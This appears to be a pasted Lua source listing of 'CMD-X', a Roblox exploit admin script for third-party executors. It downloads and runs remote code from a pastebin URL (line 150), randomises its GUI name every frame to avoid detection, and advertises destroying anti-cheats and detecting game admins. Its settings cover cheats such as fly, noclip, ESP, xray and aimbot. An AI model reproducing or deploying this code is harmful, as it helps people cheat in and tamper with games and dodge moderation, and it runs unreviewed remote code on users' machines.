· 5 years ago · May 17, 2020, 01:52 PM
1repeat wait() until game:IsLoaded()
2repeat wait() until game:GetService("CoreGui")
3repeat wait() until game:GetService("Players").LocalPlayer
4repeat wait() until game:GetService("Players").LocalPlayer.PlayerGui
5repeat wait() until game:GetService("Players").LocalPlayer.Character
6repeat wait() until game:GetService("Players").LocalPlayer.Character:FindFirstChild("Humanoid")
7-- Constraints: -----------------------|
8local ver = "1.1.5"
9local nextupd = "15/05/2020"
10local changeLog = {
11 "Need help? Join our discord! discord.gg/DD2w2cZ";
12}
13getParent = nil
14if game:GetService("CoreGui"):FindFirstChild("RobloxGui") then
15 getParent = game:GetService("CoreGui").RobloxGui
16else
17 game:GetService("CoreGui")
18end
19for i,GUI in pairs(game:GetService("CoreGui"):GetDescendants()) do
20 if GUI.Name == "holder" then
21 GUI.Parent:Destroy()
22 end
23end
24for i,GUI in pairs(game:GetService("Players").LocalPlayer.PlayerGui:GetDescendants()) do
25 if GUI.Name == "holder" then
26 GUI.Parent:Destroy()
27 end
28end
29
30Unnamed = Instance.new("ScreenGui")
31
32Unnamed.Name = "Unnamed"
33Unnamed.Parent = getParent
34Unnamed.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
35Unnamed.ResetOnSpawn = false
36
37function Stand(Text1,Text2,Text3,Text4,Text5,Text6,Btn)
38 LoadingFrame = Instance.new("Frame"); RandomReason = Instance.new("TextLabel")
39 RunQuestion = Instance.new("TextLabel"); Executors = Instance.new("TextLabel")
40 Paid = Instance.new("TextLabel"); Free = Instance.new("TextLabel")
41 Help = Instance.new("TextLabel"); HmmButton = Instance.new("TextButton")
42
43 LoadingFrame.Name = "LoadingFrame"
44 LoadingFrame.Parent = Unnamed
45 LoadingFrame.BackgroundColor3 = Color3.fromRGB(59, 59, 59)
46 LoadingFrame.BackgroundTransparency = 0.100
47 LoadingFrame.Position = UDim2.new(-9.31322575e-10, 0, -0.101388887, 0)
48 LoadingFrame.Size = UDim2.new(1, 0, 1.20000005, 0)
49
50 RandomReason.Name = "Random/Reason"
51 RandomReason.Parent = LoadingFrame
52 RandomReason.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
53 RandomReason.BackgroundTransparency = 1.000
54 RandomReason.Position = UDim2.new(0.489562511, 0, 0.335111082, 0)
55 RandomReason.Size = UDim2.new(0.0199999996, 0, 0.0500000007, 0)
56 RandomReason.Font = Enum.Font.GothamBold
57 RandomReason.Text = Text1
58 RandomReason.TextColor3 = Color3.fromRGB(255, 255, 255)
59 RandomReason.TextSize = 50.000
60
61 RunQuestion.Name = "RunQuestion"
62 RunQuestion.Parent = LoadingFrame
63 RunQuestion.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
64 RunQuestion.BackgroundTransparency = 1.000
65 RunQuestion.Position = UDim2.new(0.489562511, 0, 0.383953691, 0)
66 RunQuestion.Size = UDim2.new(0.0199999996, 0, 0.0500000007, 0)
67 RunQuestion.Font = Enum.Font.GothamBold
68 RunQuestion.Text = Text2
69 RunQuestion.TextColor3 = Color3.fromRGB(255, 255, 255)
70 RunQuestion.TextSize = 25.000
71
72 Executors.Name = "Executors"
73 Executors.Parent = LoadingFrame
74 Executors.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
75 Executors.BackgroundTransparency = 1.000
76 Executors.Position = UDim2.new(0.492968768, 0, 0.474129587, 0)
77 Executors.Size = UDim2.new(0.0130000003, 0, 0.0500000007, 0)
78 Executors.Font = Enum.Font.GothamBold
79 Executors.Text = Text3
80 Executors.TextColor3 = Color3.fromRGB(255, 255, 255)
81 Executors.TextSize = 20.000
82
83 Paid.Name = "Paid"
84 Paid.Parent = LoadingFrame
85 Paid.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
86 Paid.BackgroundTransparency = 1.000
87 Paid.Position = UDim2.new(0.492968738, 0, 0.496083349, 0)
88 Paid.Size = UDim2.new(0.0130000003, 0, 0.0500000007, 0)
89 Paid.Font = Enum.Font.GothamBold
90 Paid.Text = Text4
91 Paid.TextColor3 = Color3.fromRGB(255, 255, 255)
92 Paid.TextSize = 17.000
93
94 Help.Name = "Help"
95 Help.Parent = LoadingFrame
96 Help.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
97 Help.BackgroundTransparency = 1.000
98 Help.Position = UDim2.new(0.492968738, 0, 0.66259259, 0)
99 Help.Size = UDim2.new(0.0130000003, 0, 0.0500000007, 0)
100 Help.Font = Enum.Font.GothamBold
101 Help.Text = "Need help? discord.gg/DD2w2cZ"
102 Help.TextColor3 = Color3.fromRGB(255, 255, 255)
103 Help.TextSize = 20.000
104
105 HmmButton.Name = "HmmButton"
106 HmmButton.Parent = LoadingFrame
107 HmmButton.BackgroundColor3 = Color3.fromRGB(93, 93, 93)
108 HmmButton.BackgroundTransparency = 0.700
109 HmmButton.BorderColor3 = Color3.fromRGB(53, 51, 51)
110 HmmButton.BorderSizePixel = 0
111 HmmButton.Position = UDim2.new(0.424718767, 0, 0.582555592, 0)
112 HmmButton.Size = UDim2.new(0.150000006, 0, 0.0500000007, 0)
113 HmmButton.Font = Enum.Font.GothamBold
114 HmmButton.Text = Text6
115 HmmButton.TextColor3 = Color3.fromRGB(255, 255, 255)
116 HmmButton.TextSize = 30.000
117 HmmButton.Visible = Btn
118 HmmButton.MouseButton1Down:Connect(function()
119 LoadingFrame:Destroy()
120 RunDude = true
121 end)
122
123 Free.Name = "Free"
124 Free.Parent = LoadingFrame
125 Free.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
126 Free.BackgroundTransparency = 1.000
127 Free.Position = UDim2.new(0.492968738, 0, 0.514601827, 0)
128 Free.Size = UDim2.new(0.0130000003, 0, 0.0500000007, 0)
129 Free.Font = Enum.Font.GothamBold
130 Free.Text = Text5
131 Free.TextColor3 = Color3.fromRGB(255, 255, 255)
132 Free.TextSize = 17.000
133end
134LoadingPhrase = {"Making sure version is on "..ver..".","Deleting all noobs.","Destroying anti-cheats.","Loading CMD-X.","Thanking pigeon#1818.","Thanking hz#4777.","Robbing game owner out of his robux.","Removing all free-sploiters.","Asking you to join the discord.","Loading themes.","Loading plugins.","Hacking the mainframe.","Getting ready."}
135checkArg = {[838753790.5] = true, [983858851.7] = true,[4238827073.2] = true}
136--pcall(function()
137--Stand(LoadingPhrase[math.random(1,#LoadingPhrase)],"Please wait...","","","","Run Anyway",false)
138--repeat wait() until game:IsLoaded()
139--LoadingFrame:Destroy()
140--end)
141-- from dak: fuck you pigeon never add this again
142-- ngl i kinda hated it too -hz
143-- to hz to dak: sorry that patience is a soft spot, maybe you should get ro-laid so you can chill out.
144local cmdp = game:GetService("Players")
145local cmdlp = cmdp.LocalPlayer
146if not writefile then
147 Stand("Your exploit does not support writefile!","CMD-X cannot run.","Executors we support;","Paid: Synapse X, Sentinel, ProtoSmasher (buggy), SirHurt","Free: KRNL (buggy)","Run Anyway",true)
148 repeat wait() until RunDude == true
149end
150loadstring(game:HttpGet("https://pastebin.com/raw/kwVHrM8g",true))()
151if Current.Version ~= ver then
152 Stand("CMD-X is not up to par!","CMD-X cannot run.","","Your version: "..ver,"Current version: "..Current.Version,"Run Anyway",true)
153 repeat wait() until RunDude == true
154end
155if cmdlp.Character == nil then
156 Stand("Your character has not loaded fully yet!","CMD-X cannot run.","","","","Run Anyway",true)
157 repeat wait() until cmdlp.Character ~= nil
158 LoadingFrame:Destroy()
159end
160
161local Sound2 = Instance.new("Sound",game:GetService("Lighting"))
162Sound2.SoundId = "http://www.roblox.com/asset/?id="..5032588119
163Sound2:Play()
164-- Variables: ------------------------|
165cmdws = workspace
166local player = cmdlp
167local cmdl = game:GetService("Lighting")
168local cmdrs = game:GetService("ReplicatedStorage")
169local cmdrs2 = game:GetService("RunService")
170local cmdts = game:GetService("TweenService")
171local cmdvu = game:GetService("VirtualUser")
172local cmduis = game:GetService("UserInputService")
173local cmdc = cmdlp.Character
174local cmdh = cmdc.Humanoid
175local cmdhrp = cmdc.HumanoidRootPart
176local Mouses = cmdlp:GetMouse()
177local dp = cmdlp
178cmdm = Mouses
179-- we dont have this many owners just alts
180local Devs = {
181 ["pigeoncult"] = "Owner",
182 ["Curvn"] = "Dev",
183 ["progamer421minus1"] = "Owner",
184 ["hockeyred88"] = "Owner",
185 ["U0ZT"] = "Dev",
186 ["Luyler"] = "Dev",
187 ["Himillumine"] = "Dev",
188 ["octoberboy68plus1"] = "Owner",
189 ["CMD_X"] = "Owner",
190 ["pkmnmaster3"] = "Owner",
191 ["commando3"] = "Owner",
192}
193---------------------------------------|
194-- Writefile: -------------------------|
195
196function writefileExploit()
197 if writefile then
198 return true
199 end
200end
201
202local cooldown = false
203function writefileCooldown(name,data)
204 spawn(function()
205 if not cooldown then
206 cooldown = true
207 writefile(name, data)
208 else
209 repeat wait() until cooldown == false
210 writefileCooldown(name,data)
211 end
212 cooldown = false
213 end)
214end
215local requirements = dp.UserId
216defaultsettings = {
217 text2 = false;
218 hotkeyopen = 'q';
219 hotkeyopx = 'u';
220 hotkeyfocus = ';';
221 hotkeyfly = '';
222 hotkeyxray = '';
223 hotkeyesp = '';
224 hotkeyaimbot = '';
225 prefix = '.';
226 prompt = 'CMD-X Prompt >';
227 enterCMD = {};
228 gotoPos = 0;
229 gotoPosSide = 0;
230 gotoPosHead = 0;
231 WPs = {};
232 loadCustoms = {};
233 discordTag = '';
234 permfcspeed = 1;
235 permflyspeed = 1;
236 permwalkspeed = 50;
237 permjumppower = 150;
238 permhipheight = 20;
239 permgravity = 50;
240 Adm = {};
241 hkBinds = {};
242 dStyle = "rounded";
243 conFly = true;
244 suggestions = true;
245 CMDStat = {};
246 oldNum = 0;
247 hotkeyctp = "LeftControl";
248 permspamspeed = 1;
249 mentions = true;
250 sDetect = true;
251 SavedPos = {X = 800, Y = 300};
252 hotkeynoclip = "";
253 ChatBind = false;
254}
255
256defaults = game:GetService("HttpService"):JSONEncode(defaultsettings)
257
258function isDoneLoading()
259 if checkArg[requirements * 290 / 100] then
260 return false
261 else
262 return true
263 end
264end
265
266function commandsLoaded()
267 return isDoneLoading()
268end
269
270function saves()
271 if writefileExploit() then
272 if pcall(function() readfile("CMD-X.lua") end) then
273 if readfile("CMD-X.lua") ~= nil then
274 local json = game:GetService("HttpService"):JSONDecode(readfile("CMD-X.lua"))
275 if json.text2 ~= nil then text2 = json.text2 else text2 = {} end
276 if json.hotkeyopen ~= nil then hotkeyopen = json.hotkeyopen else hotkeyopen = 'q' end
277 if json.hotkeyopx ~= nil then hotkeyopx = json.hotkeyopx else hotkeyopx = 'u' end
278 if json.hotkeyfocus ~= nil then hotkeyfocus = json.hotkeyfocus else hotkeyfocus = ';' end
279 if json.hotkeyfly ~= nil then hotkeyfly = json.hotkeyfly else hotkeyfly = '' end
280 if json.hotkeyxray ~= nil then hotkeyxray = json.hotkeyxray else hotkeyxray = '' end
281 if json.prefix ~= nil then prefix = json.prefix else prefix = '.' end
282 if json.prompt ~= nil then prompt = json.prompt else prompt = 'CMD-X Prompt >' end
283 if json.enterCMD ~= nil then enterCMD = json.enterCMD else enterCMD = {} end
284 if json.gotoPos ~= nil then gotoPos = json.gotoPos else gotoPos = 0 end
285 if json.gotoPosSide ~= nil then gotoPosSide = json.gotoPosSide else gotoPosSide = 0 end
286 if json.gotoPosHead ~= nil then gotoPosHead = json.gotoPosHead else gotoPosHead = 0 end
287 if json.WPs ~= nil then WPs = json.WPs else WPs = {} end
288 if json.loadCustoms ~= nil then loadCustoms = json.loadCustoms else loadCustoms = {} end
289 if json.discordTag ~= nil then discordTag = json.discordTag else discordTag = '' end
290 if json.hotkeyaimbot ~= nil then hotkeyaimbot = json.hotkeyaimbot else hotkeyaimbot = '' end
291 if json.hotkeyesp ~= nil then hotkeyesp = json.hotkeyesp else hotkeyesp = '' end
292 if json.permfcspeed ~= nil then permfcspeed = json.permfcspeed else permfcspeed = 1 end
293 if json.permflyspeed ~= nil then permflyspeed = json.permflyspeed else permflyspeed = 1 end
294 if json.permwalkspeed ~= nil then permwalkspeed = json.permwalkspeed else permwalkspeed = 50 end
295 if json.permjumppower ~= nil then permjumppower = json.permjumppower else permjumppower = 150 end
296 if json.permhipheight ~= nil then permhipheight = json.permhipheight else permhipheight = 20 end
297 if json.permgravity ~= nil then permgravity = json.permgravity else permgravity = 50 end
298 if json.Adm ~= nil then Adm = json.Adm else Adm = {} end
299 if json.hkBinds ~= nil then hkBinds = json.hkBinds else hkBinds = {} end
300 if json.dStyle ~= nil then dStyle = json.dStyle else dStyle = "rounded" end
301 if json.conFly ~= nil then conFly = json.conFly else conFly = true end
302 if json.suggestions ~= nil then suggestions = json.suggestions else suggestions = true end
303 if json.CMDStat ~= nil then CMDStat = json.CMDStat else CMDStat = {} end
304 if json.oldNum ~= nil then oldNum = json.oldNum else oldNum = 0 end
305 if json.hotkeyctp ~= nil then hotkeyctp = json.hotkeyctp else hotkeyctp = "LeftControl" end
306 if json.permspamspeed ~= nil then permspamspeed = json.permspamspeed else permspamspeed = 1 end
307 if json.mentions ~= nil then mentions = json.mentions else mentions = true end
308 if json.sDetect ~= nil then sDetect = json.sDetect else sDetect = true end
309 if json.SavedPos ~= nil then SavedPos = json.SavedPos else SavedPos = {X = 800, Y = 300} end
310 if json.hotkeynoclip ~= nil then hotkeynoclip = json.hotkeynoclip else hotkeynoclip = "" end
311 if json.ChatBind ~= nil then ChatBind = json.ChatBind else ChatBind = false end
312 else
313 writefileCooldown("CMD-X.lua", defaults)
314 wait()
315 saves()
316 end
317 else
318 writefileCooldown("CMD-X.lua", defaults)
319 wait()
320 if pcall(function() readfile("CMD-X.lua") end) then
321 saves()
322 else
323 text2 = false
324 hotkeyopen = 'q'
325 hotkeyopx = 'u'
326 hotkeyfocus = ';'
327 hotkeyfly = ''
328 hotkeyxray = ''
329 hotkeyesp = ''
330 hotkeyaimbot = ''
331 prefix = '.'
332 prompt = 'CMD-X Prompt >'
333 enterCMD = {}
334 gotoPos = 0
335 gotoPosSide = 0
336 gotoPosHead = 0
337 WPs = {}
338 loadCustoms = {}
339 discordTag = ''
340 permfcspeed = 1
341 permflyspeed = 1
342 permwalkspeed = 50
343 permjumppower = 150
344 permhipheight = 20
345 permgravity = 50
346 Adm = {}
347 hkBinds = {}
348 dStyle = "rounded"
349 conFly = true
350 suggestions = true
351 CMDStat = {}
352 oldNum = 0
353 hotkeyctp = "LeftControl"
354 permspamspeed = 1
355 mentions = true
356 sDetect = true
357 SavedPos = {X = 800, Y = 300}
358 hotkeynoclip = ""
359 ChatBind = false
360 end
361 end
362 else
363 text2 = false
364 hotkeyopen = 'q'
365 hotkeyopx = 'u'
366 hotkeyfocus = ';'
367 hotkeyfly = ''
368 hotkeyxray = ''
369 hotkeyesp = ''
370 hotkeyaimbot = ''
371 prefix = '.'
372 prompt = 'CMD-X Prompt >'
373 enterCMD = {}
374 gotoPos = 0
375 gotoPosSide = 0
376 gotoPosHead = 0
377 WPs = {}
378 loadCustoms = {}
379 discordTag = ''
380 permfcspeed = 1
381 permflyspeed = 1
382 permwalkspeed = 50
383 permjumppower = 150
384 permhipheight = 20
385 permgravity = 50
386 Adm = {}
387 hkBinds = {}
388 dStyle = "rounded"
389 conFly = true
390 suggestions = false
391 CMDStat = {}
392 oldNum = 0
393 hotkeyctp = "LeftControl"
394 permspamspeed = 1
395 mentions = true
396 sDetect = true
397 SavedPos = {X = 800, Y = 300}
398 hotkeynoclip = ""
399 ChatBind = false
400 end
401end
402
403saves()
404
405function updatesaves()
406 if writefileExploit() then
407 local update = {
408 text2 = text2;
409 hotkeyopen = hotkeyopen;
410 hotkeyopx = hotkeyopx;
411 hotkeyfocus = hotkeyfocus;
412 hotkeyfly = hotkeyfly;
413 hotkeyxray = hotkeyxray;
414 hotkeyesp = hotkeyesp;
415 hotkeyaimbot = hotkeyaimbot;
416 prefix = prefix;
417 prompt = prompt;
418 enterCMD = enterCMD;
419 gotoPos = gotoPos;
420 gotoPosSide = gotoPosSide;
421 gotoPosHead = gotoPosHead;
422 WPs = WPs;
423 loadCustoms = loadCustoms;
424 discordTag = discordTag;
425 permfcspeed = permfcspeed;
426 permflyspeed = permflyspeed;
427 permwalkspeed = permwalkspeed;
428 permjumppower = permjumppower;
429 permhipheight = permhipheight;
430 permgravity = permgravity;
431 Adm = Adm;
432 hkBinds = hkBinds;
433 dStyle = dStyle;
434 conFly = conFly;
435 suggestions = suggestions;
436 CMDStat = CMDStat;
437 oldNum = oldNum;
438 hotkeyctp = hotkeyctp;
439 permspamspeed = permspamspeed;
440 mentions = mentions;
441 sDetect = sDetect;
442 SavedPos = SavedPos;
443 hotkeynoclip = hotkeynoclip;
444 ChatBind = ChatBind;
445 }
446 writefileCooldown("CMD-X.lua", game:GetService("HttpService"):JSONEncode(update))
447 end
448end
449
450AdmIG = {}
451
452for i,x in pairs(Adm) do
453 for _,v in pairs(game:GetService("Players"):GetChildren()) do
454 if Adm[i] == v.Name then
455 AdmIG[#AdmIG+1] = Adm[i]
456 end
457 end
458end
459
460-- Known anti-cmd-x and unpatches:
461
462if game.PlaceId == 176053469 then
463 getParent = game.Players.LocalPlayer.PlayerGui
464end
465
466---------------------------------------|
467-- GUI Variables: ---------------------|
468
469-- Holder --
470holder = Instance.new("Frame")
471-- Output --
472output = Instance.new("Frame")
473output1 = Instance.new("TextLabel")
474output2 = Instance.new("TextLabel")
475output3 = Instance.new("TextLabel")
476output4 = Instance.new("TextLabel")
477output5 = Instance.new("TextLabel")
478output6 = Instance.new("TextLabel")
479output7 = Instance.new("TextLabel")
480output8 = Instance.new("TextLabel")
481output9 = Instance.new("TextLabel")
482-- CMDBar --
483entry = Instance.new("Frame")
484user = Instance.new("TextLabel")
485cmd = Instance.new("TextBox")
486cmdsu = Instance.new("TextLabel")
487-- Random --
488name = Instance.new("Frame")
489local ehcmdshit = Instance.new("ScrollingFrame")
490local cmdslool = Instance.new("TextLabel")
491local shitlabeljpeg = Instance.new("TextLabel")
492local ScreenGuipoo = Instance.new("ScreenGui")
493local TextButtonpoo = Instance.new("TextButton")
494-- Command GUIs --
495local ScrollingFrame = Instance.new("ScrollingFrame")
496local logsframe = Instance.new("Frame")
497local logstitle = Instance.new("TextButton")
498local cmdiframe = Instance.new("Frame")
499local cmdititle = Instance.new("TextButton")
500local xcmdi = Instance.new("TextButton")
501local CMDlist = Instance.new("Frame")
502local cmdstitle = Instance.new("TextButton")
503local profile = Instance.new("TextLabel")
504local avatarframe = Instance.new("Frame")
505local avatartitle = Instance.new("TextButton")
506local avatarimage = Instance.new("ImageLabel")
507local profileview = Instance.new("TextLabel")
508local accountage = Instance.new("TextLabel")
509local userid = Instance.new("TextLabel")
510local fecheck = Instance.new("TextLabel")
511local operatingsystem = Instance.new("TextLabel")
512local vrheadset = Instance.new("TextLabel")
513local creditsavatar = Instance.new("TextLabel")
514local hs = Instance.new("TextButton")
515local at = Instance.new("TextButton")
516local ab = Instance.new("TextButton")
517local hss = Instance.new("TextButton")
518local gameframe = Instance.new("Frame")
519local gametitle = Instance.new("TextButton")
520local gameimage = Instance.new("ImageLabel")
521local gameview = Instance.new("TextLabel")
522local gameid = Instance.new("TextLabel")
523local uptime = Instance.new("TextLabel")
524local creditsgame = Instance.new("TextLabel")
525local textl = Instance.new("TextLabel")
526local xgameinfo = Instance.new("TextButton")
527local configframe = Instance.new("Frame")
528local configtitle = Instance.new("TextButton")
529local af2 = Instance.new("ScrollingFrame")
530local osconfigtext = Instance.new("TextButton")
531local osconfigtext2 = Instance.new("TextButton")
532local oscheck2 = Instance.new("TextLabel")
533local oscheck = Instance.new("TextLabel")
534local xlogs = Instance.new("TextButton")
535local xconfig = Instance.new("TextButton")
536local xavatar = Instance.new("TextButton")
537local xcmds = Instance.new("TextButton")
538local tabs = Instance.new("Frame")
539local tabsbar = Instance.new("TextButton")
540local cmdsbar = Instance.new("TextButton")
541local logsbar = Instance.new("TextButton")
542local avatarbar = Instance.new("TextButton")
543local gamebar = Instance.new("TextButton")
544local incomingbar = Instance.new("TextButton")
545local incomingbar2 = Instance.new("TextButton")
546local Scrollingad = Instance.new("ScrollingFrame")
547local adframe = Instance.new("Frame")
548local adtitle = Instance.new("TextButton")
549local xad = Instance.new("TextButton")
550local adbar = Instance.new("TextButton")
551---------------------------------------|
552-- GUI Objects: -----------------------|
553output.Name = "output"
554output.Parent = holder
555output.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
556output.BorderSizePixel = 0
557output.Position = UDim2.new(0, -8, 0, 19)
558output.Size = UDim2.new(0, 525, 0, 253)
559output.Style = Enum.FrameStyle.RobloxRound
560output.Visible = false
561
562local Gui = {}
563for i,v in pairs(getParent:GetDescendants()) do
564 Gui[#Gui+1] = v.Name
565 Gui[#Gui+1] = math.random(-2e9,2e9)
566end
567
568game:GetService("RunService").RenderStepped:Connect(function()
569 Unnamed.Name = Gui[math.random(1,#Gui)]
570end)
571
572function Confirm(Reason,Reason2)
573 Confirmation = false
574 HeyDestroyed = false
575
576 ConfirmationFrame = Instance.new("Frame")
577 Sure = Instance.new("TextLabel")
578 Not = Instance.new("TextLabel")
579 Help2 = Instance.new("TextLabel")
580 Yes = Instance.new("TextButton")
581 No = Instance.new("TextButton")
582
583 ConfirmationFrame.Name = "ConfirmationFrame"
584 ConfirmationFrame.Parent = Unnamed
585 ConfirmationFrame.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
586 ConfirmationFrame.BackgroundTransparency = 0
587 ConfirmationFrame.BorderSizePixel = 0
588 ConfirmationFrame.Position = UDim2.new(0.328281224, 0, 0.362222254, 0)
589 ConfirmationFrame.Size = UDim2.new(0.342812598, 0, 0.275277853, 0)
590
591 Sure.Name = "Sure"
592 Sure.Parent = ConfirmationFrame
593 Sure.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
594 Sure.BackgroundTransparency = 1.000
595 Sure.Position = UDim2.new(0.489562482, 0, 0.113113157, 0)
596 Sure.Size = UDim2.new(0.0199999996, 0, 0.0500000007, 0)
597 Sure.Font = Enum.Font.GothamBold
598 Sure.Text = Reason
599 Sure.TextColor3 = Color3.fromRGB(255, 255, 255)
600 Sure.TextSize = 20.000
601
602 Not.Name = "Not"
603 Not.Parent = ConfirmationFrame
604 Not.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
605 Not.BackgroundTransparency = 1.000
606 Not.Position = UDim2.new(0.459936291, 0, 0.222500637, 0)
607 Not.Size = UDim2.new(0.0692250952, 0, 0.10650862, 0)
608 Not.Font = Enum.Font.GothamBold
609 Not.Text = Reason2
610 Not.TextColor3 = Color3.fromRGB(255, 255, 255)
611 Not.TextSize = 20.000
612
613 if Reason == "Default" then
614 Sure.Text = "Are you sure you want to run this command?"
615 end
616 if Reason2 == "Default" then
617 Not.Text = "This may not work properly."
618 end
619
620 Help2.Name = "Help2"
621 Help2.Parent = ConfirmationFrame
622 Help2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
623 Help2.BackgroundTransparency = 1.000
624 Help2.Position = UDim2.new(0.467900336, 0, 0.834136486, 0)
625 Help2.Size = UDim2.new(0.0622250475, 0, 0.118617564, 0)
626 Help2.Font = Enum.Font.GothamBold
627 Help2.Text = "Need help? discord.gg/DD2w2cZ"
628 Help2.TextColor3 = Color3.fromRGB(255, 255, 255)
629 Help2.TextSize = 20.000
630
631 Yes.Name = "Yes"
632 Yes.Parent = ConfirmationFrame
633 Yes.BackgroundColor3 = Color3.fromRGB(93, 93, 93)
634 Yes.BackgroundTransparency = 0.700
635 Yes.BorderColor3 = Color3.fromRGB(53, 51, 51)
636 Yes.BorderSizePixel = 0
637 Yes.Position = UDim2.new(0.310771585, 0, 0.50248313, 0)
638 Yes.Size = UDim2.new(0.155925438, 0, 0.147881001, 0)
639 Yes.Font = Enum.Font.GothamBold
640 Yes.Text = "Yes"
641 Yes.TextColor3 = Color3.fromRGB(255, 255, 255)
642 Yes.TextSize = 30.000
643 Yes.MouseButton1Down:Connect(function()
644 ConfirmationFrame:Destroy()
645 Confirmation = true
646 HeyDestroyed = true
647 end)
648
649 No.Name = "No"
650 No.Parent = ConfirmationFrame
651 No.BackgroundColor3 = Color3.fromRGB(93, 93, 93)
652 No.BackgroundTransparency = 0.700
653 No.BorderColor3 = Color3.fromRGB(53, 51, 51)
654 No.BorderSizePixel = 0
655 No.Position = UDim2.new(0.545502543, 0, 0.50248313, 0)
656 No.Size = UDim2.new(0.155925438, 0, 0.147881001, 0)
657 No.Font = Enum.Font.GothamBold
658 No.Text = "No"
659 No.TextColor3 = Color3.fromRGB(255, 255, 255)
660 No.TextSize = 30.000
661 No.MouseButton1Down:Connect(function()
662 ConfirmationFrame:Destroy()
663 Confirmation = false
664 HeyDestroyed = true
665 end)
666
667 repeat wait(.01) until HeyDestroyed == true
668end
669
670ScrollingFrame.Parent = logsframe
671ScrollingFrame.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
672ScrollingFrame.BackgroundTransparency = 0.30000001192093
673ScrollingFrame.BorderSizePixel = 0
674ScrollingFrame.Position = UDim2.new(0, 0, 0.0680000037, 0)
675ScrollingFrame.Size = UDim2.new(0, 300, 0, 404)
676
677logsframe.Name = "logsframe"
678logsframe.Parent = Unnamed
679logsframe.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
680logsframe.BackgroundTransparency = 1
681logsframe.BorderSizePixel = 0
682logsframe.Position = UDim2.new(0.28193146, 0, 0.0159704965, 0)
683logsframe.Size = UDim2.new(0, 300, 0, 433)
684logsframe.Visible = false
685logsframe.Active = true
686logsframe.Draggable = true
687
688logstitle.Name = "logstitle"
689logstitle.Parent = logsframe
690logstitle.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
691logstitle.BorderColor3 = Color3.new(1, 1, 1)
692logstitle.Position = UDim2.new(-1.1920929e-07, 0, 0, 0)
693logstitle.Size = UDim2.new(0, 300, 0, 29)
694logstitle.Font = Enum.Font.GothamBlack
695logstitle.Text = "CMD-X LOGS VIEWER"
696logstitle.TextColor3 = Color3.new(1, 1, 1)
697logstitle.TextSize = 14
698
699function findCmd(cmd_name)
700 for i,v in pairs(CMDN)do
701 for _,x in pairs(CMDN[i].A) do
702 if CMDN[i].N:lower() == cmd_name:lower() or CMDN[i].A[_]:lower() == cmd_name:lower() then
703 v = CMDN[i].N
704 return v
705 end
706 end
707 end
708end
709
710cmdiframe.Name = "cmdiframe"
711cmdiframe.Parent = Unnamed
712cmdiframe.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
713cmdiframe.BackgroundTransparency = 1
714cmdiframe.BorderSizePixel = 0
715cmdiframe.Position = UDim2.new(0.28193146, 0, 0.0159704965, 0)
716cmdiframe.Size = UDim2.new(0, 300, 0, 433)
717cmdiframe.Visible = false
718cmdiframe.Active = true
719cmdiframe.Draggable = true
720
721Scrollingad.Parent = adframe
722Scrollingad.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
723Scrollingad.BackgroundTransparency = 0.30000001192093
724Scrollingad.BorderSizePixel = 0
725Scrollingad.Position = UDim2.new(0, 0, 0.0680000037, 0)
726Scrollingad.Size = UDim2.new(0, 300, 0, 404)
727
728adframe.Name = "adframe"
729adframe.Parent = Unnamed
730adframe.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
731adframe.BackgroundTransparency = 1
732adframe.BorderSizePixel = 0
733adframe.Position = UDim2.new(0.28193146, 0, 0.0159704965, 0)
734adframe.Size = UDim2.new(0, 300, 0, 433)
735adframe.Visible = false
736adframe.Active = true
737adframe.Draggable = true
738
739adtitle.Name = "adtitle"
740adtitle.Parent = adframe
741adtitle.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
742adtitle.BorderColor3 = Color3.new(1, 1, 1)
743adtitle.Position = UDim2.new(-1.1920929e-07, 0, 0, 0)
744adtitle.Size = UDim2.new(0, 300, 0, 29)
745adtitle.Font = Enum.Font.GothamBlack
746adtitle.Text = "CMD-X ADMIN DETECTOR"
747adtitle.TextColor3 = Color3.new(1, 1, 1)
748adtitle.TextSize = 14
749
750xad.Name = "xad"
751xad.Parent = adtitle
752xad.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
753xad.BorderColor3 = Color3.new(1, 1, 1)
754xad.Position = UDim2.new(0.903333306, 0, 0, 0)
755xad.Size = UDim2.new(0, 29, 0, 29)
756xad.Font = Enum.Font.GothamBlack
757xad.Text = "X"
758xad.TextColor3 = Color3.new(1, 1, 1)
759xad.TextSize = 20
760xad.MouseButton1Down:connect(function()
761 adframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() adframe.Visible = false end)
762end)
763
764adframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() adframe.Visible = false end)
765
766cmdititle.Name = "cmdititle"
767cmdititle.Parent = cmdiframe
768cmdititle.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
769cmdititle.BorderColor3 = Color3.new(1, 1, 1)
770cmdititle.Position = UDim2.new(-1.1920929e-07, 0, 0, 0)
771cmdititle.Size = UDim2.new(0, 300, 0, 29)
772cmdititle.Font = Enum.Font.GothamBlack
773cmdititle.Text = "CMD-X CMDS VIEWER"
774cmdititle.TextColor3 = Color3.new(1, 1, 1)
775cmdititle.TextSize = 14
776
777CMDlist.Name = "CMDlist"
778CMDlist.Parent = Unnamed
779CMDlist.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
780CMDlist.BackgroundTransparency = 0.30000001192093
781CMDlist.BorderSizePixel = 0
782CMDlist.Position = UDim2.new(0.28193146, 0, 0.0159704965, 0)
783CMDlist.Size = UDim2.new(0, 300, 0, 433)
